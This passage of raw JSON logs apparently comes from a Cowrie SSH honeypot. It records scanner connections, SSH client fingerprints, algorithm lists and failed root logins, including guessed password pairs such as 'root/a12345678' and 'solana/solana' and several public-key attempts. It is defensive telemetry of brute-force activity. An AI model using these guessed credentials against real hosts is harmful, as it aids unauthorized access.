512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 98f63c4d9c87edbd97ed4747fa031019","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:45.154020Z","src_ip":"103.15.226.202","session":"f7c50e0bd150","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"a12345678","message":"login attempt [root/a12345678] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:45.895685Z","src_ip":"103.15.226.202","session":"f7c50e0bd150","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:43:47.145361Z","src_ip":"103.15.226.202","session":"f7c50e0bd150","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"89.42.231.160","src_port":35732,"dst_ip":"10.17.0.5","dst_port":22,"session":"70ca51a7ea7a","protocol":"ssh","message":"New connection: 89.42.231.160:35732 (10.17.0.5:22) [session: 70ca51a7ea7a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:37.522892Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:37.528761Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:37.620461Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"e3:65:87:30:53:1d:e5:83:15:93:f9:4b:20:20:c1:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNxi2qYIv5G0cqZ0hAuYpW1+psWBS7OkYJaKTQPNAPYTawz01jV5pWnHuPAaFg6I8cyajEpQHotQpuVHUK4YtdCMkhV+hz2h0FQgiOthW6CLhsO0A9qrVn+6WnbFoqrBPnRSqOE1GwuP+ejUOQ7vgTkIBypQLl/S6usTpL2tok5DZ2M89YCM0m68XZmMsLibAACZzw8Qu4AhFJCT6YIz95sJ6T4UoaX07XuASMLYmBHmm/pYwpklvDxIp9iGCo0EvY4gGHWS7GcAJYhKJUgLqTvkLRowgAgyNUh1BSejzPuOldpQWO+3iG5tXMogUDL4iX5ykBu2ntOlyiQuM7NiC7","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint e3:65:87:30:53:1d:e5:83:15:93:f9:4b:20:20:c1:33","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.044686Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"e3:65:87:30:53:1d:e5:83:15:93:f9:4b:20:20:c1:33","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDNxi2qYIv5G0cqZ0hAuYpW1+psWBS7OkYJaKTQPNAPYTawz01jV5pWnHuPAaFg6I8cyajEpQHotQpuVHUK4YtdCMkhV+hz2h0FQgiOthW6CLhsO0A9qrVn+6WnbFoqrBPnRSqOE1GwuP+ejUOQ7vgTkIBypQLl/S6usTpL2tok5DZ2M89YCM0m68XZmMsLibAACZzw8Qu4AhFJCT6YIz95sJ6T4UoaX07XuASMLYmBHmm/pYwpklvDxIp9iGCo0EvY4gGHWS7GcAJYhKJUgLqTvkLRowgAgyNUh1BSejzPuOldpQWO+3iG5tXMogUDL4iX5ykBu2ntOlyiQuM7NiC7","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.048623Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"4a:6b:e3:27:bd:ea:47:af:b6:e8:79:d3:e3:b1:8e:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2fNyH25ozt+FZpp9J0hq60BRQwX33TMhXQLRi7F4JhI+Xn9CQjw59bz89dc3mZoao9n0RClUmofAL1RCXiCiRAbzYphRrGx01iJjETMt1lwNPuPjitmn8kW9gGpLr15nSIEApYExt0PAxpuo0/bbFf30QWpP+kbSjVKnnumrxa9V9/Vayh88jsX0RQJ9W2dZzLapEsOWRDFCytnnmJFdNQ0mTdTujUW2vZCZyU2V4MXT6Rx251vYO6+U9x6LTdK2CPzlqq8mdxgBxmdsdKqxXbpjZzpj5uY2wSSh125m8ZLh8vS4fdiClZpSjWIoO3W89kc1CoX5zHIq4j+vBiFb7w==","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 4a:6b:e3:27:bd:ea:47:af:b6:e8:79:d3:e3:b1:8e:0d","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.138397Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"4a:6b:e3:27:bd:ea:47:af:b6:e8:79:d3:e3:b1:8e:0d","key":"ssh-rsa AAAAB3NzaC1yc2EAAAABIwAAAQEA2fNyH25ozt+FZpp9J0hq60BRQwX33TMhXQLRi7F4JhI+Xn9CQjw59bz89dc3mZoao9n0RClUmofAL1RCXiCiRAbzYphRrGx01iJjETMt1lwNPuPjitmn8kW9gGpLr15nSIEApYExt0PAxpuo0/bbFf30QWpP+kbSjVKnnumrxa9V9/Vayh88jsX0RQJ9W2dZzLapEsOWRDFCytnnmJFdNQ0mTdTujUW2vZCZyU2V4MXT6Rx251vYO6+U9x6LTdK2CPzlqq8mdxgBxmdsdKqxXbpjZzpj5uY2wSSh125m8ZLh8vS4fdiClZpSjWIoO3W89kc1CoX5zHIq4j+vBiFb7w==","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.141590Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"ee:2a:08:81:5d:18:b3:1f:f9:4c:61:45:ee:8c:58:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiHplsv/frBtxoQ/OTosOrwU+GDftC/1gxdnEjzdLjmJ1mMmyUjlIxCPG33J+/zGT2nJ8035TS2FTidfz1v5QNt0srw3oxNCTVXr0ADwVf6PGdD2YNGuXx7eWnNEaK02g1fbDX1e13VxOud3b+FN/kw1TjOMDcmPC/+9EOmP2WSlVnODc+qaw/pFf+RWIstKBBah746lEdBs23Folgk/JG2SWD4NdZg35j+EUry1ePopr3kPMk1Lyr0mAwOkvtRGpohn2d5sNRMDk0Mqd7YzCiRth4I/YkfHcX2hCu1BwFV4n5kZ0mRfCO7SzYjXYa2rqCV/cXLka32yNoPAP7ja0p","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint ee:2a:08:81:5d:18:b3:1f:f9:4c:61:45:ee:8c:58:cf","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.234689Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"ee:2a:08:81:5d:18:b3:1f:f9:4c:61:45:ee:8c:58:cf","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDiHplsv/frBtxoQ/OTosOrwU+GDftC/1gxdnEjzdLjmJ1mMmyUjlIxCPG33J+/zGT2nJ8035TS2FTidfz1v5QNt0srw3oxNCTVXr0ADwVf6PGdD2YNGuXx7eWnNEaK02g1fbDX1e13VxOud3b+FN/kw1TjOMDcmPC/+9EOmP2WSlVnODc+qaw/pFf+RWIstKBBah746lEdBs23Folgk/JG2SWD4NdZg35j+EUry1ePopr3kPMk1Lyr0mAwOkvtRGpohn2d5sNRMDk0Mqd7YzCiRth4I/YkfHcX2hCu1BwFV4n5kZ0mRfCO7SzYjXYa2rqCV/cXLka32yNoPAP7ja0p","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.238392Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"55:bd:f0:dd:4d:76:4d:a8:0e:8c:9e:27:92:a8:61:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFEuXXPuZFBxRfiC9x6F7uiQRLeMKvXJXGOVn151VThLRwInEz5VaDO8+Aai6RLm4ElW9OI197xKv1RM7wJhzY5w2VAkQW4ZTSgyFTZiHjr6tjbyvhsC2biFFV1yN4qfH+dArLI9FOWOZkFzXh7iRW85jndhEC+U1t7HwnHrbKGXGedwgl3ASkrMmFn7dJSdUuFVBCxD3En9jypApBhJisttcVp+n7lE+DLIBzL3phw4sGOTTq/Io6akpeJEumX//VjHWbqq2bKXcZwDE3ii6HAe3zys+wDITJhPdoUrYUMToBYsuh9TXilZPOsKsKngRx+ouuApm4c7lpM98fPP3D","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 55:bd:f0:dd:4d:76:4d:a8:0e:8c:9e:27:92:a8:61:81","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.328413Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"55:bd:f0:dd:4d:76:4d:a8:0e:8c:9e:27:92:a8:61:81","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQDFEuXXPuZFBxRfiC9x6F7uiQRLeMKvXJXGOVn151VThLRwInEz5VaDO8+Aai6RLm4ElW9OI197xKv1RM7wJhzY5w2VAkQW4ZTSgyFTZiHjr6tjbyvhsC2biFFV1yN4qfH+dArLI9FOWOZkFzXh7iRW85jndhEC+U1t7HwnHrbKGXGedwgl3ASkrMmFn7dJSdUuFVBCxD3En9jypApBhJisttcVp+n7lE+DLIBzL3phw4sGOTTq/Io6akpeJEumX//VjHWbqq2bKXcZwDE3ii6HAe3zys+wDITJhPdoUrYUMToBYsuh9TXilZPOsKsKngRx+ouuApm4c7lpM98fPP3D","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.332590Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"63:84:75:29:49:17:72:0e:c7:78:59:4b:81:e8:38:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiQihoqkD7MHfW6iTMPZ9Y5Mxj6AyikTruvmReuCEeO6AZk/fOkvbZ9RKu6vilTQd8Z/SJ+TdcoLu6VyvbwOT1lM5/EbFI7ZNabNuutftcL9m4eGEHc/xQ+IInstFdWX5FHmWiRzO2hBuJbY9d/WWBUdu8vwLXXSuIpwvVsLF+73NZfzSseUiup76UTbZjbXRZWP3tj8A1d/vPv0emJxDhFON08ku7kAFs4+R+2OeS9kdRsSsonU9oYmpCPtQwNprRH2dw81yjMu/nHE51OsVWs5dP2FE/BrVq8GftXHo9fh3OMUyRLxkyTztIg+rfwrYG4wWnTJ2bi589dzqhdDVikAuwiY6LE0UpOokpAF9LELphxsxh1fT+NjWC+oXAUg7/1d9YB4+mZfwYqJ1a98Xe9DdxuLoh1C//ZnW2jLRQDuE0+8G2Yb0hESZLWtFCez0CoueCDL7yh+NGAHFHUJcrkDQq2iwPwKldOTvFnmiLV1qUB8hXu3Ri7d1MlEmIjUc=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 63:84:75:29:49:17:72:0e:c7:78:59:4b:81:e8:38:99","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.422670Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"63:84:75:29:49:17:72:0e:c7:78:59:4b:81:e8:38:99","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQDiQihoqkD7MHfW6iTMPZ9Y5Mxj6AyikTruvmReuCEeO6AZk/fOkvbZ9RKu6vilTQd8Z/SJ+TdcoLu6VyvbwOT1lM5/EbFI7ZNabNuutftcL9m4eGEHc/xQ+IInstFdWX5FHmWiRzO2hBuJbY9d/WWBUdu8vwLXXSuIpwvVsLF+73NZfzSseUiup76UTbZjbXRZWP3tj8A1d/vPv0emJxDhFON08ku7kAFs4+R+2OeS9kdRsSsonU9oYmpCPtQwNprRH2dw81yjMu/nHE51OsVWs5dP2FE/BrVq8GftXHo9fh3OMUyRLxkyTztIg+rfwrYG4wWnTJ2bi589dzqhdDVikAuwiY6LE0UpOokpAF9LELphxsxh1fT+NjWC+oXAUg7/1d9YB4+mZfwYqJ1a98Xe9DdxuLoh1C//ZnW2jLRQDuE0+8G2Yb0hESZLWtFCez0CoueCDL7yh+NGAHFHUJcrkDQq2iwPwKldOTvFnmiLV1qUB8hXu3Ri7d1MlEmIjUc=","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.426773Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.0","message":"Connection lost after 1.0 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:44:38.518418Z","src_ip":"89.42.231.160","session":"70ca51a7ea7a","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"2.57.122.208","src_port":47838,"dst_ip":"10.17.0.5","dst_port":22,"session":"e5aae96b4fb4","protocol":"ssh","message":"New connection: 2.57.122.208:47838 (10.17.0.5:22) [session: e5aae96b4fb4]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:45:58.850347Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:45:59.157242Z","src_ip":"2.57.122.208","session":"e5aae96b4fb4","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:45:59.160717Z","src_ip":"2.57.122.208","session":"e5aae96b4fb4","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"solana","password":"solana","message":"login attempt [solana/solana] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:46:00.445771Z","src_ip":"2.57.122.208","session":"e5aae96b4fb4","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"3.2","message":"Connection lost after 3.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:46:02.026991Z","src_ip":"2.57.122.208","session":"e5aae96b4fb4","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"50.6.197.105","src_port":45240,"dst_ip":"10.17.0.5","dst_port":22,"session":"3d439dadd15a","protocol":"ssh","message":"New connection: 50.6.197.105:45240 (10.17.0.5:22) [session: 3d439dadd15a]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.045245Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh2_1.11.0","message":"Remote SSH version: SSH-2.0-libssh2_1.11.0","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.055028Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"14b2ddda386a4d1006108ccd231b42fc","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group-exchange-sha256,diffie-hellman-group16-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,diffie-hellman-group-exchange-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,rijndael-cbc@lysator.liu.se,aes192-cbc,aes128-cbc,blowfish-cbc,arcfour128,arcfour,cast128-cbc,3des-cbc;hmac-sha2-256,hmac-sha2-256-etm@openssh.com,hmac-sha2-512,hmac-sha2-512-etm@openssh.com,hmac-sha1,hmac-sha1-etm@openssh.com,hmac-sha1-96,hmac-md5,hmac-md5-96,hmac-ripemd160,hmac-ripemd160@openssh.com;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group-exchange-sha256","diffie-hellman-group16-sha512","diffie-hellman-group18-sha512","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","diffie-hellman-group-exchange-sha1","ext-info-c"],"keyAlgs":["ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519","ssh-ed25519-cert-v01@openssh.com","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-rsa-cert-v01@openssh.com","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","rijndael-cbc@lysator.liu.se","aes192-cbc","aes128-cbc","blowfish-cbc","arcfour128","arcfour","cast128-cbc","3des-cbc"],"macCS":["hmac-sha2-256","hmac-sha2-256-etm@openssh.com","hmac-sha2-512","hmac-sha2-512-etm@openssh.com","hmac-sha1","hmac-sha1-etm@openssh.com","hmac-sha1-96","hmac-md5","hmac-md5-96","hmac-ripemd160","hmac-ripemd160@openssh.com"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 14b2ddda386a4d1006108ccd231b42fc","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.100088Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"bb:70:1c:b9:91:a7:ef:75:20:e4:db:d7:14:9c:3a:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/pL8Nsk/+jSOFqLH8CB/RKFpzPgtHBe8bWt+bpks2Jfs4Sqrz4hP9h4ADe/B8BOhIFwpNNWzHuanMjCzkcI/F36kkSHT49FXiU6zPpBSoo7QOz/P6heYNRA3EnnVfmyzdSY+PblUtqTVn9z9UmLN8ZoUD111vB+v2on+eOKHBc1NZLxqyGxpYyHL2y9G7IqTLHpiz775lDweHOLsrajkJJn3VTfCoGy35c0hT+bdWFBEnuQfsEpubtCDp2o/2FIhGx+asDD466ATrcsw7+X33GQ0FwjjMzUQy1CLySXk5yuHeg2Haxd9aPn8DoLWrgiPGCOEBsjVsHsTN00ffvfuB","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint bb:70:1c:b9:91:a7:ef:75:20:e4:db:d7:14:9c:3a:bd","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.297196Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"bb:70:1c:b9:91:a7:ef:75:20:e4:db:d7:14:9c:3a:bd","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC/pL8Nsk/+jSOFqLH8CB/RKFpzPgtHBe8bWt+bpks2Jfs4Sqrz4hP9h4ADe/B8BOhIFwpNNWzHuanMjCzkcI/F36kkSHT49FXiU6zPpBSoo7QOz/P6heYNRA3EnnVfmyzdSY+PblUtqTVn9z9UmLN8ZoUD111vB+v2on+eOKHBc1NZLxqyGxpYyHL2y9G7IqTLHpiz775lDweHOLsrajkJJn3VTfCoGy35c0hT+bdWFBEnuQfsEpubtCDp2o/2FIhGx+asDD466ATrcsw7+X33GQ0FwjjMzUQy1CLySXk5yuHeg2Haxd9aPn8DoLWrgiPGCOEBsjVsHsTN00ffvfuB","type":"ssh-rsa","message":"public key login attempt for [root] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.301576Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.client.fingerprint","username":"root","fingerprint":"3e:dc:1e:5c:b8:0c:90:c2:c3:b1:0d:4b:3f:0e:b2:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrZZlurFPUB7VNtoxvKFAQ6zCE0l+xk5HZeKdFCI65lUqAa9thS9RkskQ10uNlzodLMVQl3GYPvgDA+qJ4Mgn26mI2YiHRJTREBfM9q41BT9LzDTr30FvhiSRCcJrX97Tm9wf7NhVjOdCKV5LkQFTu/Uq5GlSSpeFLCDouvTbtqoHadQMxkSmjaKmNhk3wh5y518XiMvHaOfYkPv+khIOK007L0bGXJsRKSWxrQ86wzI6lm4jBkypj82RGRnQQl6bq/RQXoRjqziB3i7y5zbDUfobj8z417l6NAJRPXNWpzBuGfXUeOkA0gJIR421MtKWb72ESpFzH9zJAj9fkL6+KxyfYQPhu5eMYw9c1oiAzF79H+trN4x+PM3jAvSjwuqV/zoFj/HAc14XDxUr7rDe56O5w93DXPk22efO2nsbK0yWMkoCqrS23hCJRBrAN0Yu/q6YiQy0E9G+wRhGBNAFr/6M2MsFIW7WLrDY4/4MusQgIJ9J0GNwn7l6WP4y8rcM=","type":"ssh-rsa","message":"public key attempt for user root of type ssh-rsa with fingerprint 3e:dc:1e:5c:b8:0c:90:c2:c3:b1:0d:4b:3f:0e:b2:e4","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-10T22:47:00.347588Z","src_ip":"50.6.197.105","session":"3d439dadd15a","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","fingerprint":"3e:dc:1e:5c:b8:0c:90:c2:c3:b1:0d:4b:3f:0e:b2:e4","key":"ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABgQCrZZlurFPUB7VNtoxvKFAQ6zCE0l+xk5HZeKdFCI65lUqAa9thS9RkskQ10uNlzodLMVQl3GYPvgDA+qJ4Mgn26mI2YiHRJTREBfM9q41BT9LzDTr30FvhiSRCcJrX97Tm9wf7NhVjOdCKV5LkQFTu/Uq5GlSSpeFLCDouvTbtqoHadQMxkSmjaKmNhk3wh5y518XiMvHaOfYkPv+khIOK007L0bGXJsRKSWxrQ86wzI6lm4jBkypj82RGRnQQl6bq/RQXoRjqziB3i7y5zbDUfobj8z417l6NAJRPXNWpzBuGfXUeOkA0gJIR421MtKWb72ESpFzH9zJAj9fkL6+KxyfYQPhu5eMYw9c1oiAzF79H+trN4x+PM3jAvSjwuqV/zoFj/HAc14XDxUr7rDe56O5w93DXPk22efO2nsbK0yWMkoCqrS23hCJRBrAN0Yu/q6YiQy0E9G+wRhGBNAFr/6M2MsFIW7WLrDY4/4MusQgIJ9J0GNwn7l6WP4y8rcM=","type":"ssh-rsa","message":"public key login attempt for [root] 